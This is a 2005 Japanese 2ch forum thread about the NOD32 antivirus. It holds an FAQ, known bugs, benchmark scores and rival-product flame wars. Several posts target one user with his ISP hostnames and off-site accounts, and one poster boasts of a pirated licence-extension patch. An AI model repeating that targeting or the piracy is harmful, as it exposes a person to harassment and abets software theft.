NOD32アンチウィルス Part26

[表示 : 全て最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 1001- 2chのread.cgiへ]
Update time : 06/13 01:06 / Filesize : 226 KB / Number-of Response : 1002
[このスレッドの書き込みを削除する]
[＋板最近立ったスレ＆熱いスレ一覧 : ＋板最近立ったスレ／記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

NOD32アンチウィルス Part26

1 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:22:39 ]: ○公式サイト
＜キヤノンシステムソリューションズ(販売)＞[日本語]
canon-sol.jp/product/nd/index.html

＜Eset社(開発元)＞[英語]
www.nod32.com/

カカクコム「NOD32」掲示板
www.kakaku.com/bbs/Main.asp?PrdKey=03502010008

【前スレ】
NOD32アンチウィルス Part25
pc8.2ch.net/test/read.cgi/sec/1133372382/

○既知の問題点
　・UPX圧縮ファイルがNOD32のAMONと干渉
　・NOD32をWindows Server 2003で使っている一部のユーザーでsp1をあてると通信不能となり、最悪の場合リブートの繰り返しとなる。
　・一部の環境においてMicrosoft Update(Windows Update)が正常に実行出来ない現象が発生　　　　　　　　　　　　↑
この３つの問題はVer2.50.42にバージョンアップする事により回避出来ます。

>・NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。
>・Windows シャットダウン時にブルースクリーンになる問題
>・登録済みのアプリが強制抹消される問題
canon-sol.jp/product/nd/v20008.html
　　　　↑
●現在は問題無し。
2 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:23:03 ]: 【Ｑ＆ＡおよびＦＡＱ】
○まずは公式ページのQ&Aを参照しましょう
canon-sol.jp/supp/nd/
○その他 Q&A
Q.What Is N-O-D?
A.フォーラムでのその質問に対する答えです。
　www.wilderssecurity.com/index.php?board=27;action=display;threadid=15252

Q.PFW機能はありますか？
A.純粋なアンチウィルスソフトなので、ファイアーウォールは搭載してません。
　Freeで優秀なソフトがありますので、そちらをお使い下さい。
　(例：ZoneAlarm,Outpost Firewall(FREE),Sygate Personal Firewall ,Kerio Personal Firewall）

Q.やっぱりAMONが重い。*
A.AMONの「設定」で「検出」の「ファイル」-「検査を実行」 -
　「実行時」又は「オープン時」のチェックを外す。＜ただし、自己責任で＞

Q.telnetdやcvsで不具合が出た。*
A.AMONの「設定」で「検出」の「メディア」-「ネットワーク」のチェックを外す。

Q.AMONの常駐を一旦停止してから再び再開しようとすると、
「常駐保護をロードできません」と表示され、再開できない。
A.システムによってはこのような現象が起こる場合があるので、
　その場合はOSを再起動して下さい。(取説より)
　また、停止ボタンを押さずに、一時停止ボタンを利用するのも手でｼ

Q.FDのスキャンを止められない。
A.オプションのFDのスキャンと、AMON→設定→ブートセクタの検査を実行のチェックをはずす

Q.メールソフトで不都合が出た
A.IMONの詳細設定を弄くってみる。
3 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:23:24 ]: 2005年度　Virus Bulletin誌の試験結果　スキャン性能とオンアクセス性能 (全てVB100%認定品)
---------------------------------------------
　　　exeファイル　　 OLE　 exe(zip)　ole(zip) 検出性能(総合)
---------------------------------------------
AhnLab V3 Pro
　１００秒（　１倍）　　１９秒　　２１秒　１３秒　ミス=５，６５０　 2005/02 NT 4.0
　　３１秒（　１倍）　　　７秒　　９０秒　１８秒　ミス=３，２９４　 2005/06 XP
　　２６秒（　１倍）　　　８秒　　３９秒　１３秒　ミス=９，０８０　 2005/10 2003
Ｅｓｅｔ
　１０５秒（　１倍）　　１４秒　　３２秒　１６秒　完璧でした　　　2005/02 NT 4.0
　　９９秒（　３倍）　　１１秒　　４０秒　　９秒　ミス=２　　　　　 2005/06 XP
　　２７秒（　１倍）　　　３秒　　２３秒　　５秒　完璧でした　　　2005/10 2003
　　１８秒（　１倍）　　　２秒　　１３秒　　３秒　完璧でした　　　2005/12 2003 X64
Ｋａｓｐｅｒｓｋｙ
　２３９秒（　２倍）　　３０秒　　９７秒　２６秒　ミス=２　　　　　 2005/02 NT 4.0
　１１２秒（　４倍）　　１３秒　　６９秒　１７秒　ミス=２　　　　　 2005/06 XP
　１１６秒（　３倍）　　１４秒　　６２秒　１６秒　ミス=２　　　　　 2005/10 2003
　　８５秒（　５倍）　　　８秒　　４０秒　　９秒　ミス=２　　　　　 2005/12 2003 X64
ＢｉｔＤｅｆｅｎｄｅｒ
　５９１秒（　６倍）　　２０秒　１９８秒　１８秒　ミス=５５　　　　 2005/02 NT 4.0
　５０７秒（１６倍）　　　７秒　１５０秒　　８秒　ミス=２０　　　　 2005/06 XP
　４６０秒（１７倍）　　１１秒　１８９秒　１６秒　ミス=５６　　　　 2005/10 2003
Ｓｙｍａｎｔｅｃ
　２４０秒（　２倍）　　３１秒　　９１秒　２９秒　完璧でした　　　2005/02 NT 4.0
　１７３秒（　５倍）　　２１秒　　６２秒　２０秒　完璧でした　　　2005/06 XP
　１４７秒（　５倍）　　１６秒　　７２秒　１４秒　完璧でした　　　2005/10 2003
　　７９秒（　４倍）　　　７秒　　３３秒　　５秒　完璧でした　　　2005/12 2003 X64
---------------------------------------------
4 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:24:08 ]: av-comparatives
> ttp://www.av-comparatives.org
ここの比較も信頼性が高い、ただ、NOD32はインストーラ型をオンデマンドで検知しませんから
若干不利な結果になっています。

--------------------------テンプレここまで------------------------
5 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:26:25 ]: 主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
canon-sol.jp/supp/nd/wndt4212.html
6 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:26:27 ]: >>1
(･∀･)ﾉ" 乙！
7 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:31:51 ]: つ1.1317 (20051209)
8 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:53:45 ]: セキュリティ板に強制ID制を導入すべきか否か
etc4.2ch.net/test/read.cgi/vote/1128862102/
9 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:54:17 ]: ※NOD32アンチウイルス＠避難所
yy13.kakiko.com/test/read.cgi/security/1112449961/
10 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:54:48 ]: 【動機は？】雑音犬畜生Part34【\6kの高級ｹｰｽﾏﾀﾞ?】
tmp5.2ch.net/test/read.cgi/tubo/1130566010/
11 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:55:21 ]: 【ｳﾝｺ男爵】starcatの荒し屋Ｑ別名○ 9【GJ】
tmp5.2ch.net/test/read.cgi/tubo/1120964614/
12 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:56:13 ]: NOD32 過去の主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
canon-sol.jp/supp/nd/wndt4212.html
13 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:56:45 ]: スレ常連の問題行動

「NODスレに書き込むときはfusianaします」と宣言したくせに、後で運営がNODスレをログ掘りしたら、
名無しで書き込んでいたのが判明。平気で嘘をつく。

>【軽快動作】NOD32【アンチウイルスソフト】
>pc8.2ch.net/test/read.cgi/sec/1112351342/
>482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp　投稿日：2005/04/25(月) 10:45:08
>緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。

ログ掘りで分かったp84bedc.osaknt01.ap.so-net.ne.jpから名無しで投稿されたレス。
>NOD32アンチウィルス Part19.1
>pc8.2ch.net/test/read.cgi/sec/1119907260/57
>57：名前：名無しさん＠お腹いっぱい。投稿日：2005/07/03(日) 13:27:11
>あたまのおかしな人へ
>貴方の頭の中には沢山の雑音さんが住んでいるようですけど、どれが本当の雑音ですか？
>もしかしたら私も雑音？

運営のログ掘り
>qb5.2ch.net/test/read.cgi/sec2chd/1122724714/16
>名無しさん＠お腹いっぱい。<>sage<>2005/07/03(日) 13:27:11 <>あたまのおかしな人へ <>p84bedc.osaknt01.ap.so-net.ne.jp
14 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:57:21 ]: ウイルスセキュリティスレの自演荒らしはNOD厨だった。

>pc8.2ch.net/test/read.cgi/sec/1119543099/ 【ウイルスセキュリティ　Part13】
>>524 名前：p84bedc.osaknt01.ap.so-net.ne.jp　投稿日：2005/06/28(火) 01:21:52
>ほんじゃ～最後にＶＳに付いてプロからのコメントを残しておくぞ。
>
>tmp5.2ch.net/test/read.cgi/tubo/1117805574/【雑音犬畜生Part29】
>>757 名前：p84bedc.osaknt01.ap.so-net.ne.jp 投稿日：2005/07/03(日) 22:38:02 ID:CpVgWHbQ
> 私を叩くと称して荒らし放題。
>
>「私を叩くと称して荒らし放題。」つまり本人が、雑音=p84bedc.osaknt01.ap.so-net.ne.jpと認める。
15 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 19:57:52 ]: ウイルスバスター叩き工作の犯人もNOD厨だった。

深刻な被害を受けている善良なバスターユーザーの心からの訴え。

311 名前：VB2006　[sage]　投稿日：2005/10/26(水) 12:36:49
【2005使いも】ウイルスバスター2006 Part1【歓迎】
pc8.2ch.net/test/read.cgi/sec/1129946596/
ですが、荒らしがひどくて困ってます。
2006にアップグレードしたばかりで、みんなは本当の情報をほしがっているのに
どうにもなりません。
おそらく同一個人みたいなのですが、NODと比較して重いとか、VBアンインスコしたら
ニートの弟が働きだしたとか、もう手がつけられませんよ。
何とかなりませんか？
16 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 20:05:23 ]: >NOD厨の宣言
>
>NOD32アンチウィルス Part24
>457 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/11/20(日) 16:47:32
>ノートンは糞、何度でも言ってやるよｗｗ
>そこらじゅうで言ってやるぜｗｗ

>Kasperskyスレをコピペ荒らししてアク禁になったのもNOD厨だった。

>★20050705 Kaspersky荒らし報告スレ★
>qb5.2ch.net/test/read.cgi/sec2chd/1120543625/
>66 名前： ◆Wan01KGV.. 　[sage]　投稿日：2005/07/05(火) 20:39:02 ID:X6+1LwWa0
>報告>>3-32　ログ>>33-63
>starcat.ne.jp 296res
>
>規制>>64
>starcat.ne.jp 規制
>
>68 名前：AirRock ★　[sage]　投稿日：2005/07/05(火) 22:41:48 ID:*********0
>67
>規制＠全サーバ No.2
>qb5.2ch.net/test/read.cgi/sec2ch/1095552678/309 2005/07/05(火) 22:40:57
17 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 20:05:54 ]: ノートン叩き工作の犯人もNOD厨だった。

【ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.75】
>27：名無しさん＠お腹いっぱい。：2005/10/21(金) 21:22:37
>ノートンスレは常にNOD厨の工作投稿で一杯なので、初めて来た人は注意が必要です。
>Ver73スレのように1日で400レスほども大量に書き込むことも珍しくありません。

>284 名前：281　[sage]　投稿日：2005/10/24(月) 14:55:32
>自治スレで話題になっていたので、録.音が投稿しているというサイト↓を見に行ってきたよ。やはりそこでも嫌われてた。
>ttp://higaitaisaku.com/cgi-bin/cbbs.cgi?mode=one&namber=4410&type=0&space=0&no=2
>そこで用いられているハンドルをインタネ検索してみたところ、教えて！goo掲示板にて、
>ある時は中年窓際会社員として、ある時は車の整備士として、離婚相談からアンチウイルス選びまで
>大活躍をしていることを知った。
>
>ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1034093
>無理にそう言った重いソフトでチェックしなくても他のチェックサイトを試されてはいかがでしょうか？
>こちらを紹介しますのでシマンテック以外を選択されてチェックしてみてください。
>蛇足ですがこちらのウィルス対策ソフトは非常に軽くて使いやすくて
>本当にいいです、私が使っています。
>体験版がありますので一度使ってみてください。（ttp://canon-sol.jp/product/nd/index.html）
>
>ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1025032
>実は私もあなたと同じようにここの掲示板で似たような質問をして
>紹介してもらったのは、N.OD32と言うウィルスソフトです。
>これは本当に軽くて使いやすい！
>NISに比べるとウィルスソフトが入っている事がウソのように感じます。
>N.OD32、キャノンのサイトです。（体験版があります。）
>ただしこれはウィルスソフトだけですからファイアーウォールソフトは別に用意する必要があります。
>それもここの掲示板で教えていただいたのですが、Outpost Firewall と言うフリーのソフトです。
18 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 20:07:36 ]: 2人のNOD厨

雑音（録音）->淫厨とNOD32厨を兼ねる。
tmp5.2ch.net/test/read.cgi/tubo/1130566010/
science3.2ch.net/test/read.cgi/infosys/1088029040/
z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
mossarilog.at.infoseek.co.jp/

梶Q
tmp5.2ch.net/test/read.cgi/tubo/1120964614/

雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp

Q
usr.starcat.ne.jp
dsl.gol.ne.jp
19 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 20:11:42 ]: 881 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/12/11(日) 16:34:12
スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位　F-Secure
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5

884 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:36:41
>>881
それ、アンチスパイ専門ソフトとの比較だろ?
比較されるだけでもNOD32が優秀なアンチスパイ機能を備えている証明だよ。

889 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:42:58
>>884
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

920 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:12:00
>>917
元々が総合セキュリティ(アンチスパイウェア含む)製品なんだよ。
お前の無知を私に押し付けるなって。

936 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:20:04
>>931
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
20 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 21:03:41 ]: >>8-19
数年に渡るNODスレ粘着君

.eo.eaccess.ne.jp (JaneStyle/1.24使用)
21 名前：名無しさん＠お腹いっぱい。 [2005/12/11(日) 21:03:49 ]: 雑音は何でスレ立てるの？
ねえ？
なんで？
22 名前：名無しさん＠お腹いっぱい。 [2005/12/11(日) 21:39:50 ]: >19
その検査した人って素人だろ？そんなの信じない方が良いよ
ウィルスやスパイの検査なんて、使う検体によってどうにでも操作できるんだよ。
23 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 21:43:27 ]: >>22
論点はそこじゃないんで。
24 名前：名無しさん＠お腹いっぱい。 [2005/12/11(日) 22:18:08 ]: 論点ってどこにあるの？
25 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 22:20:01 ]: いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
26 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 22:24:10 ]: >>24
荒らしがNOD32スレを荒らし続ける為に挙げたURLですから論点は必然的にNOD32を貶すこと。
これだけです。
それと、荒らしの中に雑音叩きも混ざっているようですからご注意ください。
彼らの大量コピペ爆弾はレスを腐らせます。
27 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 22:25:02 ]: >>26

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
28 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 22:25:19 ]: > F-Secureは元々はスパイウェア分野で強く、ここ最近になってKAVのエンジンをOEM搭載しただけ。
そもそもここがデタラメ。
スパイウェアなど騒がれる前からF-SecureはKAV。昔からKAV。
この前提がデタラメな以上、以下に書いてる補足説明自体が崩壊。
デタラメではないと主張するならF-SecureがKAVになった「ここ最近」がいつなのか答えて下さい。
ちなみにF-Secureは88年に設立して90年にはアンチウイルスに特化しています。
29 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/11(日) 22:26:21 ]: >>26
「NODスレに書き込むときはfusianaします」のじゃなかったのですか？
30 名前：名無しさん＠お腹いっぱい。 [2005/12/11(日) 22:26:52 ]: 雑音先生はでたらめだらけだにゃｗｗｗ
31 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 01:11:51 ]: 口調に注目。
またNOD厨の雑音が、他の製品スレ（Kaspersky）を200レス以上の自演で埋めていた。

>Kaspersky Lab Part5
>pc8.2ch.net/test/read.cgi/sec/1130498109/
>951 名前：名無しさん＠お腹いっぱい。　投稿日：2005/12/06(火) 01:52:56
>あと、企業によっては恐ろしく古いシステムを使いつづけてる場所もあるぞっと。

>スクープ！録音さん
>z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
>902 ： ◆Rb.XJ8VXow ：04/04/18 21:19 ID:CE6MO5Gj
>あ、887はどんな言語でもいいぞっと。
>さらに、データの読み込み部は記述ふようだぞっと。
32 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 01:41:00 ]: > >・NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。

こんなバグ？始めてみた、わらた
33 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 01:49:32 ]: >>28
ここ最近という部分を抜かしても崩壊してるよ。
KAVを搭載と言っているが、搭載する以前のエンジンを現在積んでいないのだから連続性がない。
またF-SecureはKAVとF-prot（マクロ専用）とオマケの数KBエンジンのトリプルエンジン。
つまりここ最近以前の状態が存在しない。スパイウェア部分はすべてKAVが検出しているわけ。
34 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 03:05:14 ]: >>8
セキュリティ板を自作板のようにID強制表示にしたい雑音と、
リモホ強制表示の方が効果的だと主張するセキュ板住民との議論。
pc8.2ch.net/test/read.cgi/sec/1121047377/435-565
【セキュリティ板自治議論スレッド 4】

※まとめ
強制ID表示　→　雑音には効果なし。自作PC板（強制ID表示）と同じで、
　　　　　　　　　　　「ほらほらIDが違うぞ！自演じゃないぞ！」といわんばかりに、
　　　　　　　　　　　むしろ調子に乗って大暴れする。
　　　　　　　　　　　しかもNODに批判的な投稿をしているIDを追跡して、
　　　　　　　　　　　どこの製品スレの常連か割り出して、きっちり復讐を行う。

強制リモホ表示　→　雑音には効果がある。（大阪の光回線）→しかし反対も多そう。
　　　　　　　　　　　　　　osaknt01.ap.so-net.ne.jp
　　　　　　　　　　　　　　osaka-ip.dti.ne.jp（雑音の可能性がある）

雑音が同じ日に複数IDを使い分けている証拠の一例（2005年5月7日）。
qb5.2ch.net/test/read.cgi/sec2chd/1115205599/
154 名前：雑音 pd3fc89.osaknt01.ap.so-net.ne.jp　投稿日：2005/05/07(土) 01:07:48 ID:oW/NSQrd
164 名前：雑音 p84bfc5.osaknt01.ap.so-net.ne.jp　投稿日：2005/05/07(土) 12:19:01 ID:MzCt9tXW
35 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 03:26:53 ]: >スパイウェア部分はすべてKAVが検出しているわけ。

するとウイルスにもスパイウエアにも、
Kasperskyはトップクラスなんですね。
テキなから天晴れ・・。

>アンチウイルスの性能評価をしている「AV Comparitives」の8月のテスト結果。
>www.av-comparatives.org/seiten/ergebnisse/report07.pdf
>www.av-comparatives.org/
>1位 Kaspersky
>2位 Symantec
>
>スパイウェアに対する検出力評価
>ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
>1位　F-Secure（Kaspersky）
>2位　Webroot
>3位　LANDesk
>4位　Sunbelt
>5位　SurfControl
>6位　McAfee
>7位　Trend Micro
>8位　eTrust
>9位　NOD32 v2.5
36 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 03:31:03 ]: F-Secure は Ad-Aware 使ってないか？
37 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 04:28:46 ]: >>36
根拠ゼロの憶測でよくそんな下らない発言が出来るモンだな・・・。
まぁ一応どうしてそういう発想に思い至ったのかは書いてもいいけど。
38 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 04:48:35 ]: >>37
ちょっと検索しいてみた

F-Secure submitted a suite of security-blocking, filtering, and scanning-orientated applications.
The spyware component was sourced from the people at Lavasoft, and is identical to Ad-Aware.
The rest of the suite includes antivirus, firewall, anti-spam, and parental control components.

ttp://www.zdnet.com.au/reviews/software/security/0,39023452,39166231-3,00.htm

インストールするとAd-Aware をアンインストールするから間違いないと思う。
39 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 04:49:41 ]: 検索をしいてしまってごめん
40 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 04:53:13 ]: 根拠なしは>33だったな
41 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 06:30:03 ]: つまりそれはF-Secureが「アンチスパイ専門ソフト」ではない、という証明だな。
42 名前：名無しさん＠お腹いっぱい。 [2005/12/12(月) 07:22:26 ]: 雑音の敗北決定ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
43 名前：名無しさん＠お腹いっぱい。 [2005/12/12(月) 10:23:41 ]: NODの良い所に気づくべきだ

と思う
44 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 13:09:48 ]: 1.1318 (20051211)
45 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 17:31:08 ]: ういん（とおる）乙
46 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 17:39:57 ]: 延長パッチ入手できた俺は勝ち組。Freeでこの性能、たまらん！
47 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 17:53:52 ]: 貧乏人が勝ち組であることは絶対ない。
不正使用している負い目があるだけでも既に負け組み決定だよ。
真の勝ち組は、そんな小さな額など気にもしないで正規に入手する。
48 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 17:59:33 ]: >>46
うｐしる
49 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 18:18:40 ]: セキュリティソフトを不正使用って基地外だろ
50 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 19:20:20 ]: 基地外が立てた基地外スレだからこんなものだろ。
51 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 19:49:12 ]: >>50
あんまり嫉妬すんな、みじめになるだけだぞｗ
52 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 19:56:56 ]: その延長パッチには2種類あることに注意。
一つは全HDDアボーンされる。しかも実行される時間はランダム。
一つは本物。この二つのサイズは同じ。
53 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 20:37:32 ]: >>51
さすが基地外スレ。
日本語が通じないらしいw
54 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 20:38:06 ]: 怖いこというなよ
55 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 20:51:50 ]: >>52
>一つは全HDDアボーンされる。しかも実行される時間はランダム。
大丈夫です。なぜならNOD32がそれを検出するからです。
56 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 20:56:25 ]: なるほど！ Σ（￣□￣；）　
57 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 21:06:17 ]: そうかぁ！なら安心だね(^-^)
58 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 21:09:04 ]: >>なぜならNOD32がそれを検出するからです

ﾌﾟ
59 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 21:22:52 ]: >>52
もうちょっと頭使えよ。
本当にそんなトロイがあるなら他アンチウイルスはこぞって検知することになる。
それがNOD32だけ検出しない、という事態をESETが放置すると思うか？
存在するならESETも対応する。脅しになってないわけよ。
60 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 21:24:56 ]: つ1.1319
61 名前：名無しさん＠お腹いっぱい。 [2005/12/12(月) 21:39:15 ]: うん
62 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 21:42:04 ]: こ
63 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 21:42:46 ]: スレ。
64 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 22:28:06 ]: HDDﾌｫｰﾏｯﾄ位　ばれずに仕込めるだろが
65 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 22:31:44 ]: >>64
ほう？やったことがあるかのような発言。夢見る時間にはまだ早いですよ？
66 名前：名無しさん＠お腹いっぱい。 [2005/12/12(月) 22:31:57 ]: exe形式でのHDフォーマッタなら検知は出来んね
67 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 22:53:39 ]: でも、海外パッチでウイルス入りはあるよ。
体験版が感知してくれたおかげで助かった。
68 名前：名無しさん＠お腹いっぱい。 [2005/12/12(月) 22:58:25 ]: >>67
だれもそんな話はしてねえ
69 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 23:04:24 ]: 検知されずにフォーマッタを仕込むなんて簡単にできるよ
Shareが出たばかりのころ、プラグインだかなんだかでやれちまった
70 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 23:08:47 ]: NOD厨の糞たる理由は信者ですら割れだってことだ
割りやすいからNOD使ってるだけここはドロボースレ
71 名前：名無しさん＠お腹いっぱい。 [2005/12/12(月) 23:12:00 ]: 犯罪者スレですか？
72 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 23:22:36 ]: ノートン2003の期限が切れたので、NOD32に乗り換えてみた。
新参者ですがよろしこ
73 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 23:49:21 ]: >>71
はい。
ここは犯罪者スレです。
74 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/12(月) 23:49:39 ]: >>66
実行時に検出する。あまり無知を晒すな。
75 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:03:03 ]: 1.1319 (20051212)
76 名前：無知を晒した人 mailto:sage [2005/12/13(火) 00:05:58 ]: 881 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/12/11(日) 16:34:12
スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位　F-Secure
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5

884 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:36:41
>>881
それ、アンチスパイ専門ソフトとの比較だろ?
比較されるだけでもNOD32が優秀なアンチスパイ機能を備えている証明だよ。

889 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:42:58
>>884
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

920 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:12:00
>>917
元々が総合セキュリティ(アンチスパイウェア含む)製品なんだよ。
お前の無知を私に押し付けるなって。

936 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:20:04
>>931
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
77 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/13(火) 00:09:10 ]: （；＾ω＾）.。O( 電波ﾁｮｿのNOD厨は、知ったかぶり全開ですな......
78 名前：104 mailto:sage [2005/12/13(火) 00:10:19 ]: いや、フォーマット類は極普通の機能だから検知するほうが異常かと思います。
「潜在的に危険な」と言っても、それはフォーマット類の基本的機能の指すものではない。
この話題から少しずれてしまうけど、プラウザやメールソフト類はダウンロード（受信含む）したexe等を
そのまま実行しようとすると警告メッセージを出したり、場合によっては実行するexeがMSの署名を得ているかを検査して
未署名なら警告等を行う。
このような対処により迂闊に出所の知れないソフトの実行には大きな危険が伴うことを告知している。
その程度のことしか出来ない。

話を戻すと、NOD32が言うところの「潜在的に危険な」という意味は、実行することでHDDが初期化されるようなことではなく
システムを無防備状態にするような機構が含まれているソフトや未署名でありながらセキュリティ類の操作やサービスプロセスの設定変更等を
伴うようなものに限定しているのだと思う。
